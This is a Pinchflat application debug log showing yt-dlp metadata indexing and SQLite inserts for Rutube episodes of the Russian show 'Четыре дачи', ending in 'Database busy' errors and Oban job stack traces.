Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "duration" => 4175, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", "id" => "7aeed4aed6af2bd09bf1becdd7db4991", "original_url" => "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", "playlist_index" => 6, "timestamp" => 1694245809, "title" => "Четыре дачи: Золотое кольцо России", "upload_date" => "20230909"} 11:14:17.035 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=511.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:17.036 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=70.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:17.037 [debug] QUERY OK source="media_items" db=0.4ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-09 07:50:09Z], 5] 11:14:17.726 [debug] QUERY OK source="media_items" db=688.8ms queue=0.1ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "e67230e5-e350-4d7c-afa6-4b76d01cd596", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", 6, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, false, false, 5, [], 1, ~U[2023-09-09 07:50:09Z], ~U[2025-12-09 08:14:17Z], ~U[2025-12-09 08:14:17Z], "Домклик – сервис недвижимости номер один. На Домклик большое количество проектов домов от проверенных подрядчиков, аккредитованных Сбербанком. https://bit.ly/44K8BLH\n\nВадим Абрамов отправляется в путешествие по дачам Золотого кольца России. В городе Ковров Владимирской области Марина покажет свою дачу-вернисаж. Егор из деревни Новый Спас Владимирской области представит свою новаторскую дачу. Эльвира из деревни Сабуриха Ивановской области расскажет, что такое художественный релакс. А в деревне Седельницы Ярославской области участники посмотрят на экзотическую дачу Оксаны. Какая фазенда одержит победу на этот раз, узнаем из программы «Четыре дачи».", "Четыре дачи: Золотое кольцо России", "7aeed4aed6af2bd09bf1becdd7db4991", 4175, false, "https://rutube.ru/video/7aeed4aed6af2bd09bf1becdd7db4991/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e090900 - Четыре дачи: Золотое кольцо России.mp4", false, 5, ~U[2023-09-09 07:50:09Z]] 11:14:17.773 [debug] QUERY OK source="sources" db=45.8ms queue=0.5ms idle=691.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:17.777 [debug] QUERY OK source="media_profiles" db=1.7ms queue=2.0ms idle=737.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:17.780 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=742.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44612] 11:14:17.782 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "duration" => 4282, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", "id" => "bf87c1e26ab617bf5a7deaa8cc4f200a", "original_url" => "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", "playlist_index" => 7, "timestamp" => 1694849413, "title" => "Четыре дачи: Ленинградская область 2", "upload_date" => "20230916"} 11:14:17.792 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=263.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:17.794 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=66.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:17.796 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=22.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-16 07:30:13Z], 5] 11:14:18.504 [debug] QUERY OK source="media_items" db=705.1ms idle=20.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "11280ea1-10aa-44b7-9552-5f1c79ace3a8", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", 7, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, false, false, 5, [], 1, ~U[2023-09-16 07:30:13Z], ~U[2025-12-09 08:14:17Z], ~U[2025-12-09 08:14:17Z], "Четыре дачи — суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко найти дом, участок или дачу всего за пару минут. \nhttps://bit.ly/3RagHKf\n\nДачники Ленинградской области приглашают в гости. Надежда из Вилозского сельского поселения будет рада видеть конкурентов на своей плетёной даче для релакса. Ян и Татьяна из Бокситогорска покажут «бабушкину дачу». Елена из деревни Сярьги проведёт экскурсию по своей хлебосольной даче. А Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, 5, ~U[2023-09-16 07:30:13Z]] 11:14:18.564 [debug] QUERY OK source="sources" db=57.1ms idle=726.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:18.567 [debug] QUERY OK source="media_profiles" db=1.4ms queue=1.2ms idle=770.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:18.568 [debug] QUERY OK source="media_items" db=0.6ms idle=771.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44613] 11:14:18.569 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "duration" => 4293, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", "id" => "73fc21a9acb9b2f73baf09a2bf7788cf", "original_url" => "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", "playlist_index" => 8, "timestamp" => 1695454213, "title" => "Четыре дачи: Московская область 2", "upload_date" => "20230923"} 11:14:18.570 [debug] QUERY OK source="sources" db=0.3ms idle=66.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:18.571 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:18.572 [debug] QUERY OK source="media_items" db=0.7ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-23 07:30:13Z], 5] 11:14:20.625 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/206383/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 ДАЧИ/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0c/11/0c11939b285e68d3ee0e1b1f1a6451ce31504329bd27008d4c015e11269b17dd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:14:21.990 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=2020.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:21.992 [debug] QUERY OK source="sources" db=0.7ms idle=2021.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:21.993 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=2023.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-22 07:20:03Z], 5] 11:14:23.999 [debug] QUERY ERROR source="media_items" db=2004.8ms idle=1393.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "99d39b1d-472d-4a2e-ae3e-91036766d855", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", 1, "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, false, false, 5, [], 1, ~U[2022-10-22 07:20:03Z], ~U[2025-12-09 08:14:21Z], ~U[2025-12-09 08:14:21Z], "Показывать свои дачи будут жители Краснодарского края. Домохозяйка Маргарита из хутора Урма пригласит соперников в своё семейное подворье, чтобы удивить богатым урожаем. Блогерша-пенсионерка Екатерина из Ейска похвастается разнообразием цветов на своём участке. А бизнесмен Роман из посёлка Прогресс-Сочи проведёт дегустацию вин и мёда, а также поразит участников экскурсией по дому-музею, который расположен на его даче. Смотрите программу «Четыре дачи»!", "Четыре дачи: Краснодарский край 2", "1abc46ef1a4fab4555156e2162b3342d", 3836, false, "https://rutube.ru/video/1abc46ef1a4fab4555156e2162b3342d/", "/downloads/rutubeShows/4 ДАЧИ/Season 2022/s2022e102200 - Четыре дачи: Краснодарский край 2.mp4", false, 5, ~U[2022-10-22 07:20:03Z]] 11:14:26.030 [error] Task #PID<0.8247.0> started from #PID<0.2344.0> terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = 'retryable', "errors" = json_insert(o0."errors", '$[#]', ?), "scheduled_at" = ? WHERE (o0."id" = ?) (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (oban 2.19.4) lib/oban/engines/lite.ex:200: Oban.Engines.Lite.error_job/3 (oban 2.19.4) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4 (telemetry 1.3.0) /app/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3 (oban 2.19.4) lib/oban/queue/executor.ex:238: Oban.Queue.Executor.ack_event/1 (oban 2.19.4) lib/oban/queue/executor.ex:224: Oban.Queue.Executor.report_finished/1 (oban 2.19.4) lib/oban/queue/executor.ex:84: anonymous fn/1 in Oban.Queue.Executor.call/1 Process Label: Pinchflat.SlowIndexing.MediaCollectionIndexingWorker Function: &Oban.Queue.Executor.call/1 Args: [%Oban.Queue.Executor{ack: true, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@05645cc4311e", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"34 11 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, error: nil, job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 2211, state: "executing", queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", args: %{"id" => 5}, meta: %{}, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@05645cc4311e"], max_attempts: 20, priority: 0, attempted_at: ~U[2025-12-09 08:14:03.006391Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2025-12-08 08:14:02.000000Z], scheduled_at: ~U[2025-12-09 08:14:02.691735Z], conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@05645cc4311e", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"34 11 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}, meta: %{args: %{"id" => 5}, id: 2211, max_attempts: 20, queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", prefix: false, conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Lite, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "pinchflat@05645cc4311e", notifier: {Oban.Notifiers.PG, []}, peer: {Oban.Peers.Isolated, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"34 11 * * *", Pinchflat.YtDlp.UpdateWorker}, {"0 1 * * *", Pinchflat.Downloading.MediaRetentionWorker}, {"0 2 * * *", Pinchflat.Downloading.MediaQualityUpgradeWorker}]]}, {Oban.Plugins.Pruner, [max_age: 2592000]}], prefix: false, queues: [default: [limit: 10], fast_indexing: [limit: 2], media_collection_indexing: [limit: 2], media_fetching: [limit: 2], remote_metadata: [limit: 2], local_data: [limit: 8]], repo: Pinchflat.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, attempt: 1, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], job: %Oban.Job{__meta__: #Ecto.Schema.Metadata<:loaded, "oban_jobs">, id: 2211, state: "executing", queue: "media_collection_indexing", worker: "Pinchflat.SlowIndexing.MediaCollectionIndexingWorker", args: %{"id" => 5}, meta: %{}, tags: ["media_source", "media_collection_indexing", "show_in_dashboard"], errors: [], attempt: 1, attempted_by: ["pinchflat@05645cc4311e"], max_attempts: 20, priority: 0, attempted_at: ~U[2025-12-09 08:14:03.006391Z], cancelled_at: nil, completed_at: nil, discarded_at: nil, inserted_at: ~U[2025-12-08 08:14:02.000000Z], scheduled_at: ~U[2025-12-09 08:14:02.691735Z], conf: nil, conflict?: false, replace: nil, unique: nil, unsaved_error: nil}}, pid: #PID<0.2344.0>, result: nil, snooze: nil, start_mono: -576386362084963765, start_time: 1765268043420224168, stop_mono: nil, timer: nil, worker: nil, safe: true, duration: 0, kind: :error, queue_time: 0, stacktrace: [], state: :unset}] 11:14:28.132 [info] Exqlite.Connection (#PID<0.2319.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.8248.0> exited 11:14:28.206 [error] GenServer {Oban.Registry, {Oban, {:producer, "media_collection_indexing"}}} terminating ** (Exqlite.Error) Database busy UPDATE "oban_jobs" AS o0 SET "state" = ?, "attempted_at" = ?, "attempted_by" = ?, "attempt" = "attempt" + ? WHERE (o0."id" IN (SELECT so0."id" FROM "oban_jobs" AS so0 WHERE (so0."state" = 'available') AND (so0."queue" = ?) AND (so0."attempt" < so0."max_attempts") ORDER BY so0."priority", so0."scheduled_at", so0."id" LIMIT ?)) RETURNING "id", "state", "queue", "worker", "args", "meta", "tags", "errors", "attempt", "attempted_by", "max_attempts", "priority", "attempted_at", "cancelled_at", "completed_at", "discarded_at", "inserted_at", "scheduled_at" (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (oban 2.19.4) lib/oban/engines/lite.ex:110: Oban.Engines.Lite.fetch_jobs/3 (oban 2.19.4) 